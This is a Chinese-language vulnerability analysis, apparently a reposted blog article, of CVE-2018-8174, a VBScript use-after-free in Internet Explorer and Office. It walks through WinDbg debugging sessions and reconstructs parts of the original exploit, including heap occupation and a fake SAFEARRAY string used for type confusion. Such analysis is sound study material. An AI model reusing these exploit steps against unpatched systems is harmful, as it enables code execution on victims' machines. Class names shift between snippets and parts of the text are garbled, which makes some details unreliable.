尋夢新聞LINE@每日推播熱門推薦文章,趣聞不漏接❤️
一、漏洞背景
CVE-2018-8174漏洞是360追日安全團隊於4份捕獲到的,並將其命名為「雙殺」漏洞,意指在IE瀏覽器以及office均可以引發的漏洞。
該漏洞在當時影響最新版本的IE瀏覽器以及使用了IE內核的應用程序。用戶在瀏覽網頁或者打開Office文檔的時候都可能中招。
微軟在4月20號也確認了此漏洞,並在5月8號發布了官方補丁。本文檔將對該漏洞進行詳細分析理解,並提交復現過程與防禦建議,供大家相互交流學習。
微軟針對gai’lou’dong補丁鏈接
微軟針對gai’lou’dong補丁鏈接
所影響版本:
Microsoft Excel 2010 SP2
Microsoft Excel 2013 SP1
Microsoft Excel 2016
Microsoft Office 2010 SP2
Microsoft Office 2013 RT SP1
Microsoft Office 2013 SP1Microsoft Office 2016
Microsoft Office Compatibility SP3…
Microsoft Excel 2010 SP2
Microsoft Excel 2013 SP1
Microsoft Excel 2016
Microsoft Office 2010 SP2
Microsoft Office 2013 RT SP1
Microsoft Office 2013 SP1Microsoft Office 2016
Microsoft Office Compatibility SP3…
該漏洞影響比較廣泛,可以在該鏈接查看詳細列表: https://www.securityfocus.com/bid/103998
二、 漏洞原理 2.1.UAF的理解
展開全文
首先了解一個簡單的C++層面的懸垂指針:
#include “stdafx.h” #include int main { char *p1; p1 = (char*)malloc(sizeof(char) * 10); memcpy(p1, “hello”, 10); printf(“p1,addr:%x,%s\n”, p1, p1); free(p1); char *p2; p2 = (char*)malloc(sizeof(char) * 10); memcpy(p2, “hello”, 10); printf(“p2,addr:%x,%s\n”, p2, p1); printf(“p2,addr:%x,%s\n”, p2, p2); free(p2); return 0; } //輸出: //p1,addr:99ac88,hello //p2,addr:99ac88,hello //p2,addr:99ac88,hello
在指針p1被釋放後,卻仍然可以執行已經被釋放的內存,而且在 free 了 p1 之後再次申請同樣大小空間,操作系統會將剛剛 free 了的內存重新分配。
並且可以通過p2操作p1,那麼如果再次使用p1,則可以通過p2修改程序功能等目的。p1就叫做 懸垂指針,UAF會造成內存破壞的原因就是使用了懸垂指針。
理解了上面的懸垂指針後再看在vbs中的懸垂指針是怎樣的,根據原始 PoC 防寫一個造成懸垂指針的腳本來理解一下:
如上:
1,在UAF函數中,Set array_a(1)=New Trigger 是創建了一個 Trigger 實例給數組 array_a, Erase array_a 在析構 array_a 中的元素時,會調用 Trigger 的重載的析構函數;
2,在此函數中先增加了一個 array_b(0) 對 Trigger 實例的引用(Trigger實例引用計數+1),又通過 array_a(1)=1 刪除 array_a(1) 對 Trigger 實例的引用,(Trigger的實例引用計數減1)來平衡引用計數後,才會徹底釋放 Trigger 實例
3,但是此時 array_b(0) 仍然保留著這個類的引用,然後在 TriggerVuln 函數中,array_b(0)=0 對 array_b(0) 進行訪問時造成了觸發漏洞,此時 array_b(0) 就叫做懸垂指針
2.1.1.調試
在windbg 所在文件夾開啟hpa頁堆調試 和ust棧回溯選項:
//啟用頁面堆–開啟hpa頁堆調試 和ust堆分配記錄 //關於此技術原理的可以看一下這個連接: http://www.cnblogs.com/Ox9A82/p/5603172.html C:\TOOLS\windbg_cn\WinDbg(x86)>gflags.exe /i iexplore.exe +ust +hpa //winDbg 附加IE調試後可以捕捉到此崩潰現場 //匯編 .. 76aa4966 8b4608 mov eax,dword ptr [esi+8] 76aa4969 85c0 test eax,eax 76aa496b 0f8454f5ffff je OLEAUT32!VariantClear+0xc3 (76aa3ec5) 76aa4971 8b08 mov ecx,dword ptr [eax] ds:0023:06076fd0=???????? .. //command 0:013> g (e84.548): Access violation – code c0000005 (first chance) //訪問已經釋放的內存,從而崩潰 First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=06076fd0 ebx=06192fe0 ecx=00000009 edx=00000002 esi=06192fe0 edi=00000009 eip=76aa4971 esp=0457d02c ebp=0457d034 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 OLEAUT32!VariantClear+0xb3: 76aa4971 8b08 mov ecx,dword ptr [eax] ds:0023:06076fd0=???????? 0:005> !heap -p -a eax address 06076fd0 found in _DPH_HEAP_ROOT @ 17e1000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) //對象所在的內存已經被釋放 17e3e38: 6076000 2000 728390b2 verifier!AVrfDebugPageHeapFree+0x000000c2 774e65f4 ntdll!RtlDebugFreeHeap+0x0000002f 774aa0aa ntdll!RtlpFreeHeap+0x0000005d 774765a6 ntdll!RtlFreeHeap+0x00000142 76b898cd msvcrt!free+0x000000cd 7141406c vb!VBClass::`scalar deleting destructor’+0x00000019 7141411a vb!VBClass::Release+0x00000043 //調用類的析構函數,釋放了VBSClass對象,也就是腳本中的Trigger實例 76aa4977 OLEAUT32!VariantClear+0x000000b9 6bfce433 IEFRAME!Detour_VariantClear+0x0000002f 76abe325 OLEAUT32!ReleaseResources+0x000000a3 76abdfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048 76ac5d2d OLEAUT32!SafeArrayDestroyData+0x0000000f 76ac5d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039 7145267f vb!VbsErase+0x00000057 //call 了vb!VbsErase 此函數對應腳本中的`Erase array_a ` 71403854 vb!StaticEntryPoint::Call+0x00000011 7140586e vb!CRuntime::RunNoEH+0x00001c10 71404ff6 vb!CRuntime::Run+0x00000064
在VBClass::Release函數中的邏輯:
VBClass *__stdcall VBClass::Release(VBClass *this) { VBClass *this_1; // ebx@1 volatile LONG *v2; // edi@1 VBClass *result_1; // [sp+14h] [bp+8h]@1 this_1 = this; v2 = (volatile LONG *)((char *)this + 4); result_1 = (VBClass *)InterlockedDecrement((volatile LONG *)this + 1);// 引用計數 -1,引用計數保存在&VBClass+0x4的位置 if ( !result_1 ) // result為引用計數,為零則進入內存釋放 { InterlockedIncrement(v2); VBClass::TerminateClass(this_1); // 腳本重載了類Terminate的析構函數,在重載的函數中又增加了array_b對Object的引用 result_1 = (VBClass *)InterlockedDecrement(v2); if ( !result_1 ) // 當認為當下的Object的引用計數已經為0時,進入系統析構程序 { if ( this_1 ) (*(void (__thiscall **)(VBClass *, signed int))(*(_DWORD *)this_1 + 0x68))(this_1, 1);// 調用析構函數釋放VBClass的內存 } } return result_1; }
2.1.2 溯源
// 在winDbg中這樣下斷點 bp vb!VBClass::TerminateClass “.printf \”Class %mu at %x, terminate called\\n\”, poi(@ecx + 0x24), @ecx; g”; bp vb!VBClass::Release “.printf \”Class %mu at: %x ref counter, release called: %d\\n\”, poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g”; bp vb!VBClass::Create+0x55 “.printf \”Class %mu created at %x\\n\”, poi(@esi + 0x24), @esi; g”; bp vb!VbsIsEmpty
第一次斷點:
//即可輸出VBClass對象名稱,對象地址,虛函數表地址,以及引用計數: 0:013> g Class Trigger created at 178afd0 Class Trigger at: 6fb61748 ref counter, release called: 2 Class Trigger at: 6fb61748 ref counter, release called: 2 Class Trigger at: 6fb61748 ref counter, release called: 2 //類對象地址 0:005> ln poi (0178afd0 ) (6fb61748) vb!VBClass::`vftable’ | (6fb6c518) vb!__pfnDefaultDliNotifyHook2 Exact matches: vb!VBClass::`vftable’ = 0:005> dd 0178afd0 0178afd0 6fb61748 00000002 05fd1f78 08477f88 //02是引用計數的值 0178afe0 00000e08 00000000 00000000 05fd5efc 0178aff0 00000000 088d6fe4 00000000 00000000 0:005> du 088d6fe4 //類的名字 088d6fe4 “Trigger” //也可以通過vb!VbsIsEmpty斷點追溯到類的地址。如下: Breakpoint 3 hit eax=6fb6185c ebx=044bd284 ecx=6fbba9d8 edx=044bd1fc esi=05faf54c edi=00000001 eip=6fb7c206 esp=044bd118 ebp=044bd128 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6fb7c206 8bff mov edi,edi 0:005> dd poi(esp+c) 05fbbf60 044b004a 77431fd0 0174bfe8 01721020 //0174bfe8是數據結構地址 05fbbf70 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbf80 044bd578 05fbbfa0 c0c0c0c0 c0c0c0c0 05fbbf90 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbfa0 044bd7bc 05fbbfe0 c0c00001 c0c0c0c0 05fbbfb0 0000400c 00000000 05fc5ec8 00000000 05fbbfc0 0000400c 00000000 05fc5e88 00000000 05fbbfd0 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 0:005> dd 0174bfe8 l8 0174bfe8 044b200c 77431fd0 0833efe8 01721020//200c這兩個字節表示的是VB變量類型,表示的是SAFEARRAY類型,ARRAY在07f4dfe8存放 0174bff8 00000000 c0c0c0c0 ???????? ???????? 0:005> dt ole32!safearray 0833efe8 //解析safearray結構,pvdata表示數據地址 +0x000 cDims : 1 //cDims表示維數 +0x002 fFeatures : 0x880 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x08346fe0 Void //array_a數據元素地址 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x08346fe0 08346fe0 00000000 00000000 00000000 00000000 //array_a(0)沒有定義 08346ff0 c0c00009 c0c0c0c0 0178afd0 c0c0c0c0 //array_a(1)type==0x9表示是一個object,值為0178afd0 08347000 ???????? ???????? ???????? ???????? //即找到類對象的地址,也就是說array_a(1)已經指向了Trigger對象 0:005> dd 0178afd0 0178afd0 6fb61748 00000002 05fd1f78 08477f88 0178afe0 00000e08 00000000 00000000 05fd5efc 0178aff0 00000000 088d6fe4 00000000 00000000 0178b000 ???????? ???????? ???????? ???????? 0:005> du 088d6fe4 088d6fe4 “Trigger”
第二次斷點:
執行到第二個 ISEmpty ,即析構函數中的ISEmpty的時候(在Erase array_a的時候,會觸發Class_Terminate析構函數),此時Set array_b(0)=array_a(1)已執行;則:
Breakpoint 3 hit eax=6fb6185c ebx=044bcf48 ecx=6fbba9d8 edx=044bcec0 esi=05faf54c edi=00000001 eip=6fb7c206 esp=044bcddc ebp=044bcdec iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6fb7c206 8bff mov edi,edi 0:005> dd poi(esp+c) 05fbbf30 c0c0600c c0c0c0c0 05fc5ed4 082a4fe8 //data buffer 在082a4fe8 05fbbf40 c0c00000 c0c0c0c0 0178afd0 c0c0c0c0 05fbbf50 044bd334 05fbbf80 c0c00001 c0c0c0c0 05fbbf60 044b400c 77431fd0 05fc5e88 01721020 05fbbf70 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbf80 044bd578 05fbbfa0 c0c0c0c0 c0c0c0c0 05fbbf90 c0c00000 c0c0c0c0 c0c0c0c0 c0c0c0c0 05fbbfa0 044bd7bc 05fbbfe0 c0c00001 c0c0c0c0 0:005> dd 082a4fe8 //safearray結構 082a4fe8 08920001 00000010 00000000 012edfe0 082a4ff8 00000002 00000000 ???????? ???????? 082a5008 ???????? ???????? ???????? ???????? 0:005> dt ole32!safearray 082a4fe8 +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x012edfe0 Void //array_b數據元素地址 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:005> dd 0x012edfe0 lc 012edfe0 c0c00009 c0c0c0c0 0178afd0 c0c0c0c0 //類型還是0x09,array_b(0)中此時保存著類對象地址 012edff0 00000000 00000000 00000000 00000000 012ee000 ???????? ???????? ???????? ???????? 0:005> ln poi(0178afd0 ) //類對象地址 0178afd0 (6fb61748) vb!VBClass::`vftable’ | (6fb6c518) vb!__pfnDefaultDliNotifyHook2 Exact matches: vb!VBClass::`vftable’ = 0:005> dd 0178afd0 0178afd0 6fb61748 00000004 05fd1f78 08477f88 0178afe0 00000e08 00000000 00000000 05fd5efc 0178aff0 00000001 088d6fe4 00000000 00000000 0178b000 ???????? ???????? ???????? ???????? 0:005> du 088d6fe4 //類名稱 088d6fe4 “Trigger”
第三次斷點:此時 Erase已經執行完畢:
Breakpoint 3 hit eax=6fb6185c ebx=044bd284 ecx=6fbba9d8 edx=044bd1fc esi=05faf54c edi=00000001 eip=6fb7c206 esp=044bd118 ebp=044bd128 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6fb7c206 8bff mov edi,edi //此時查看object的地址為空, 0:005> dd 0178afd0 0178afd0 ???????? ???????? ???????? ???????? 0178afe0 ???????? ???????? ???????? ???????? 0178aff0 ???????? ???????? ???????? ???????? 0:005> !heap -p -a 0178afd0 address 0178afd0 found in _DPH_HEAP_ROOT @ 1721000 //in free-ed allocation 表示已經被釋放 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 1722e38: 178a000 2000 733390b2 verifier!AVrfDebugPageHeapFree+0x000000c2 774e65f4 ntdll!RtlDebugFreeHeap+0x0000002f 774aa0aa ntdll!RtlpFreeHeap+0x0000005d 774765a6 ntdll!RtlFreeHeap+0x00000142 .. .. //此時分別查看array_b與array_a 的情況: //array_b(0)的情況: 0:005> dd 0x012edfe0 012edfe0 c0c00009 c0c0c0c0 0178afd0 c0c0c0c0 //array_b(0)依然保存著類對象地址,但是類對象已經被釋放了 012edff0 00000000 00000000 00000000 00000000 012ee000 ???????? ???????? ???????? ???????? 012ee010 ???????? ???????? ???????? ???????? //array_a的情況: 0:005> dd 0x08346fe0 08346fe0 ???????? ???????? ???????? ???????? //array_a已經被釋放 08346ff0 ???????? ???????? ???????? ???????? 08347000 ???????? ???????? ???????? ????????
顯然有些地方出現了錯誤,明明 array_b 還保留著對 Trigger Object引用的時候,Trigger Object卻隨著 Erase array_a被釋放了。我們來看看錯誤的地方:
2.2 驗證
在IDA里面查看過 VBClass::Release 的偽代碼,以及上面的調試後,我們猜測在腳本中的重載的析構函數中,Setarray_b(0)=array_a(1)這句是否有對 ClassTrigger的引用計數進行操作,
接下來進行驗證,在以下位置下斷點:
bu vb!VbsErase bu vb!VBClass::Release bu vb!VbsIsEmpty bp vb!VBClass::Create+0x55 “.printf \”Class %mu created at %x\\n\”, poi(@esi + 0x24), @esi; g”;
前面的幾次 Release 不用看,一直到VbsErase後面的release的時候單步調試
(此時在調試日志中,類對象地址已經被bp vb!VBClass::Create+0x55 “.printf \”Class %mu created at %x\\n\”, poi(@esi + 0x24), @esi; g”; 列印出來了,或者運行到 release 的時候的esp +8也是類對象地址)
0:005> g Class Trigger created at 189bfd0 .. .. Breakpoint 1 hit eax=0189bfd0 ebx=00000020 ecx=6d9a1748 edx=00000000 esi=087efff0 edi=00000009 eip=6d9b1ef3 esp=0468c9cc ebp=0468c9dc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vb!VBClass::Release: 6d9b1ef3 8bff mov edi,edi 0:005> dd 189bfd0 0189bfd0 6d9a1748 00000001 06103f78 08657f88 //此時的引用計數為1 0189bfe0 00000d80 00000000 00000000 06107efc 0189bff0 00000000 071e4fe4 00000000 00000000 0189c000 ???????? ???????? ???????? ???????? 單步調試到: 6d9b1efc 56 push esi 6d9b1efd 8b35e4129a6d mov esi,dword ptr [vb!_imp__InterlockedDecrement (6d9a12e4)] 6d9b1f03 57 push edi 6d9b1f04 8d7b04 lea edi,[ebx+4] 6d9b1f07 57 push edi //edi 中保存的便是object的引用計數 6d9b1f08 ffd6 call esi {kernel32!InterlockedDecrementStub (775bbbf0)} 6d9b1f0a 894508 mov dword ptr [ebp+8],eax 6d9b1f0d 85c0 test eax,eax //如果此時的引用計數為0, 6d9b1f0f 0f84d8210000 je vb!VBClass::Release+0x1e (6d9b40ed)//則進入Release+0x1e,調用析構函數 6d9b1f15 8b4508 mov eax,dword ptr [ebp+8] //此時的edi 的值為1,然後調用InterlockedDecrementStub 把引用計數減一 0:005> dd edi 0189bfd4 00000001 06103f78 08657f88 00000d80 //繼續調試,這里就執行 我們代碼中 的Set array_b(0)=array_a(1)這句了 6da140f4 8bcb mov ecx,ebx 6da140f6 e829000000 call vb!VBClass::TerminateClass (6da14124) 6da140fb 57 push edi 6da140fc ffd6 call esi 6da140fe 894508 mov dword ptr [ebp+8],eax 6da14101 85c0 test eax,eax 6da14103 0f850cdeffff jne vb!VBClass::Release+0x43 (6da11f15) 6da14109 85db test ebx,ebx 6da1410b 0f8404deffff je vb!VBClass::Release+0x43 (6da11f15) 6da14111 8b03 mov eax,dword ptr [ebx] 6da14113 6a01 push 1 6da14115 8bcb mov ecx,ebx 6da14117 ff5068 call dword ptr [eax+68h] ds:0023:6da017b0={vb!VBClass::`vector deleting destructor’ (6da14053)} //最終因為引用計數為0,調用vector deleting destructo,釋放對象內存 0:005> p eax=00000001 ebx=01882fd0 ecx=01882fd0 edx=00000000 esi=775bbbf0 edi=01882fd4 eip=6da140f6 esp=045ccd8c ebp=045ccd98 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 vb!VBClass::Release+0x27: 6da140f6 e829000000 call vb!VBClass::TerminateClass (6da14124) 0:005> dd 1882fd0 01882fd0 6da01748 00000001 05f31f78 08469f88 //在進入TerminateClass前引用計數為1 01882fe0 0000098c 00000000 00000000 05f35efc 01882ff0 00000000 087e4fe4 00000000 00000000 01883000 ???????? ???????? ???????? ???????? 0:005> p eax=00000000 ebx=01882fd0 ecx=01882fd4 edx=0008001f esi=775bbbf0 edi=01882fd4 eip=6da140fb esp=045ccd8c ebp=045ccd98 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VBClass::Release+0x2c: 6da140fb 57 push edi 0:005> dd 1882fd0 01882fd0 6da01748 00000001 05f31f78 08469f88 //在執行TerminateClass後引用計數仍然為1, 01882fe0 0000098c 00000000 00000000 05f35efc 01882ff0 00000001 087e4fe4 00000000 00000000 01883000 ???????? ???????? ???????? ???????? //所以問題就在這里,它沒有因為Set array_b(0)=array_a(1),而增加類對象的引用計數,造成了在類對象被釋放後array_b(0)仍然指向那個類對象地址,而造成了懸垂指針
漏洞原因總結:
此漏洞就是存在於release 函數中,如果在自定義的腳本中重載了析構函數,在這個函數中操作了類的引用計數(UAF),而release函數不能正確的判斷類的引用計數造成而去析構了這個類,但是仍然指向這個類的指針就變成了懸垂指針,後面通過這個懸垂指針進行一些操作來達到任意讀寫的目的。
接下來我們調試原始PoC看它是怎麼對這個懸垂指針進行利用的,需要對vbs的基本的 數據結構 有所了解:
0x200C,即VT_VARIANT|VT_ARRAY
Constant Value Deion vbEmpty 0 Empty (uninitialized) vbNull 1 Null (no valid data) vbInteger 2 Integer vbLong 3 Long integer vbSingle 4 Single-precision floating-point number vbDouble 5 Double-precision floating-point number vbCurrency 6 Currency vbDate 7 Date vbString 8 String vbObject 9 Automation object vbError 10 Error vbBoolean 11 Boolean vbVariant 12 Variant (used only with arrays of Variants) vbDataObject 13 A data-access object vbByte 17 Byte vbArray 8192 Array 三、 原PoC剝繭抽絲
理解了上面的基礎之後我們開始調試原始PoC
原始PoC 在變量名和數據計算中存在大量的混淆,對重要位置進行還原: (以及加入了一些IsEmpty後方便查看參數)
3.1 PoC中的UAF
先分析一下原始poc中的UAF函數:
Sub UAF Alert “UAF” For i=0 To 19 Set array(i)=New Foo ‘占據系統堆碎片 Next For i=20 To 39 Set array(i)=New MyClass2 ‘占據系統堆碎片 Next ‘————————————————————————– For i=0 To 6 ReDim array_a(1) Set array_a(1)=New Trigger Erase array_a ‘array_b保存了對已經釋放的Trigger obj的引用 Next IsEmpty(array_b) Set MyClass2_obj1=New MyClass2 ‘同時MyClass2_obj2對它占位 IsEmpty(MyClass2_obj1) ‘————————————————————————– spec_int_2=0 For i=0 To 6 ReDim array_a(1) Set array_a(1)=New cla2 ‘array_c保存了對已經釋放的 cla2 obj 的引用 Erase array_a Next IsEmpty(array_c) Set MyClass2_obj2=New MyClass2 ‘同時MyClass2_obj2對它占位 IsEmpty(MyClass2_obj2) End Sub
//斷點: 0:005> bl 0 e 710b4124 0001 (0001) 0:**** vb!VBClass::TerminateClass “.printf \”Class %mu at %x, terminate called\\n\”, poi(@ecx + 0x24), @ecx; g” 2 e 710b463d 0001 (0001) 0:**** vb!VBClass::Create+0x63 “.printf \”Class %mu created at %x\\n\”, poi(@esi + 0x24), @esi; g” 3 e 710bc206 0001 (0001) 0:**** vb!VbsIsEmpty
第一次IsEmpty斷點,參數為array_b:
//參數傳入的array_b,進入函數後棧空間可以查看 Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd poi(esp+C) 0049f1a0 0000600c 00000000 01051100 0034c4c8 //0034c4c8 是array_b 的data buffer 0049f1b0 02890002 0049ffc0 01050013 0289c9c0 0049f1c0 02890002 0049ffc0 01050001 0289c9c0 0049f1d0 6ab10002 0289c9fc 02890027 0049ffc0 0049f1e0 6ab10002 0289c9fc 02890001 0049ffc0 0049f1f0 6ab10002 0289c9fc 02890006 0049ffc0 0049f200 6ab10002 0289c9fc 02890001 0049ffc0 0049f210 00000000 00000000 00000000 00000000 0:006> dt ole32!safearray 0034c4c8 +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x00371a68 Void //array_b數據元素地址 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:006> dd 00371a68 00371a68 01030009 00000000 010526e0 00000000 //010526e0類對象地址 00371a78 6ab10009 010526e4 010526e0 6ab14211 00371a88 6ab10009 010526e4 010526e0 6ab14211 00371a98 6ab10009 010526e4 010526e0 6ab14211 00371aa8 6ab10009 010526e4 010526e0 6ab14211 00371ab8 6ab10009 010526e4 010526e0 6ab14211 00371ac8 6ab10009 010526e4 010526e0 6ab14211 00371ad8 5e2b1c44 88000000 0030007b 0030002e 0:006> dd 010526e0 010526e0 6ab100c6 00000000 00000000 00000000 //引用計數已經為0 010526f0 00000808 00000000 00000000 0103799c 01052700 00000001 003af554 00000000 00000000 01052710 5e163a1d 80000000 000000cd 00000000 0:006> du 003af554 003af554 “Trigger”
第二次IsEmpty斷點,此時 cla4_obj1 占位已經完成:
//仍然查看10526e0類對象地址 Class cla4 created at 10526e0 Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd 010526e0 010526e0 6ab11748 00000002 010345e0 0049e910 //引用計數變為0x02 010526f0 00000808 00000000 00000000 00000000 01052700 00000000 003af554 00000000 010526a8 01052710 5e163a1d 80000000 000000cd 00000000 01052720 00000000 00000000 00000000 00000000 01052730 00000000 00000000 00000000 00000000 01052740 00000000 00000000 5e163a16 80000000 01052750 000000d4 00000000 00000000 00000000 0:006> du 003af554 003af554 “cla4” //同樣的地址cla4_obj1已經占位
第三次IsEmpty斷點,參數為array_c:
Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd poi(esp+C) 0049f1a0 0000600c 00000000 01051140 00375bc0 //00340308是array_c的data buffer 0049f1b0 02890002 0049ffc0 01050013 0289c9c0 0049f1c0 02890002 0049ffc0 01050001 0289c9c0 0049f1d0 6ab10002 0289c9fc 02890027 0049ffc0 0049f1e0 6ab10002 0289c9fc 02890001 0049ffc0 0049f1f0 6ab10002 0289c9fc 02890006 0049ffc0 0049f200 6ab10002 0289c9fc 02890001 0049ffc0 0049f210 6ab10002 0289c9fc 02890006 0049ffc0 0:006> dt ole32!safearray 00375bc0 +0x000 cDims : 1 +0x002 fFeatures : 0x892 +0x004 cbElements : 0x10 +0x008 cLocks : 0 +0x00c pvData : 0x00371888 Void //array_c數據元素地址 +0x010 rgsabound : [1] tagSAFEARRAYBOUND 0:006> dd 0x00371888 00371888 6ab10009 010526e4 01052718 6ab14211 //023b1f98類對象地址 00371898 6ab10009 0105271c 01052718 6ab14211 003718a8 6ab10009 0105271c 01052718 6ab14211 003718b8 6ab10009 0105271c 01052718 6ab14211 003718c8 6ab10009 0105271c 01052718 6ab14211 003718d8 6ab10009 0105271c 01052718 6ab14211 003718e8 6ab10009 0105271c 01052718 6ab14211 003718f8 5e2b1c00 8e000000 00690066 0065006c 0:006> dd 01052718 01052718 6ab100cd 00000000 00000000 00000000 //引用計數已經為0 01052728 00000808 00000000 00000000 01037bcc 01052738 00000001 00370d34 00000000 00000000 01052748 5e163a16 80000000 000000d4 00000000 01052758 00000000 00000000 00000000 00000000 01052768 00000000 00000000 00000000 00000000 01052778 00000000 00000000 5e163a0f 80000000 01052788 000000db 00000000 00000000 00000000 0:006> du 00370d34 00370d34 “cla2”
第四次IsEmpty斷點,此時 MyClass2_obj2 占位已經完成:
//仍然查看 1052718 類對象地址 Class cla4 created at 1052718 Breakpoint 3 hit eax=6ab1185c ebx=0289cb64 ecx=6ab6a9d8 edx=0289cadc esi=0104783c edi=00000001 eip=6ab2c206 esp=0289c9f8 ebp=0289ca08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 vb!VbsIsEmpty: 6ab2c206 8bff mov edi,edi 0:006> dd 01052718 01052718 6ab11748 00000002 01034700 0049e910 //引用計數變為0x02 01052728 00000808 00000000 00000000 00000000 01052738 00000000 00370d34 00000000 010526e0 01052748 5e163a16 80000000 000000d4 00000000 01052758 00000000 00000000 00000000 00000000 01052768 00000000 00000000 00000000 00000000 01052778 00000000 00000000 5e163a0f 80000000 01052788 000000db 00000000 00000000 00000000 0:006> du 00370d34 //同樣的地址cla4_obj2已經占位 00370d34 “cla4”
以上為poc中的UAF函數的作用與原理,接下來看 InitObjects
3.2.PoC中的InitObjects
同樣的我們在代碼里面加入IsEmpty來便於調試
Sub InitObjects IsEmpty(MyClass2_obj1) MyClass2_obj1.SetProp(cla6_obj1) ‘調用了兩次 MyClass2_obj1的SetProp函數,分別傳入的參數為 cla6_obj1 IsEmpty(MyClass2_obj1) IsEmpty(MyClass2_obj2) MyClass2_obj2.SetProp(cla7_obj1) ‘參數為cla7_obj1 IsEmpty(MyClass2_obj2) spec_int_1=MyClass2_obj2.mem End Sub Class MyClass2 Dim mem Function P End Function Function SetProp(Value) ‘IsEmpty(“Enter MyClass2:SetPro”) mem=0 mem=Value ‘分別會調用cla6與cla7的Get P SetProp=0 End Function End Class Class cla6 Public Default Property Get P ‘IsEmpty(“cal6:call Get P”) Dim cla5_obj1 P=174088534690791e-324 For i=0 To 6 array_b(i)=0 Next ‘IsEmpty(“finish set array_b to 0”) Set cla5_obj1=New cla5 cla5_obj1.mem=str_1 ‘IsEmpty(cla5_obj1) For i=0 To 6 Set array_b(i)=cla5_obj1 Next End Property End Class Class cla7 Public Default Property Get P Dim cla5_obj1 P=636598737289582e-328 For i=0 To 6 array_c(i)= 0 Next ‘IsEmpty(“finish set array_c to 0”) Set cla5_obj1=New cla5 cla5_obj1.mem=str_2 ‘IsEmpty(cla5_obj1) For i= 0 To 6 Set array_c(i)=cla5_obj1 Next End Property End Class
執行前:
//查看cla4_obj1的地址 0:006> dd 010526e0 010526e0 6ab11748 00000002 010345e0 0049e910 //cla4_obj1.mem的地址 010526f0 00000808 00000000 00000000 00000000 01052700 00000000 003af554 01052718 010526a8 01052710 5e163a1d 88000000 6ab11748 00000001 01052720 01034700 0049e910 00000808 00000000 01052730 00000000 00000000 00000000 00370d34 01052740 00000000 010526e0 5e163a16 80000000 01052750 000000d4 00010a41 00000000 00000000 0:006> du 003af554 003af554 “cla4”
執行到cla4_obj1.SetProp(cla6_obj1)這里的時候,去調用cla4的SetProp函數
Class cla4 Dim mem Function P End Function Function SetProp(Value) IsEmpty(“enter cla4:SetPro”) mem=0 mem=Value ‘這一步會調用cla6的Get P SetProp=0 End Function End Class
在Get P中做到了又一次的占位與一次類型的替換:
Class cla6 Public Default Property Get P ‘Property Get 語句 用來取得(返回)的值 IsEmpty(“cal6:call Get P”) Dim cla5_obj1 ‘CDbl是轉換成雙精度浮點數據類型 ‘ db 0, 0, 0, 0, 0Ch, 20h, 0, 0 P=CDbl(“174088534690791e-324”) ‘P是返回值 對cla4_mem賦值,把string改為array類型 For i=0 To 6 ‘array_b保存了cla1 object的引用,而cla1 object被釋放後是由 array_b(i)=0 ‘cla4_obj1占位的。array_b賦值為0,也就是將cla4_obj1的內存釋放了 Next IsEmpty(“finish set array_b to 0”) Set cla5_obj1=New cla5 ‘再次使用懸垂指針重新用cla5_obj1占位, cla5_obj1.mem=str_1 ‘並對cla5.mem賦值偽造的字符串 7fffffff的safearray, ‘str_1=Unescape(“%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000”) IsEmpty(cla5_obj1) For i=0 To 6 Set array_b(i)=cla5_obj1 Next End Property End Class
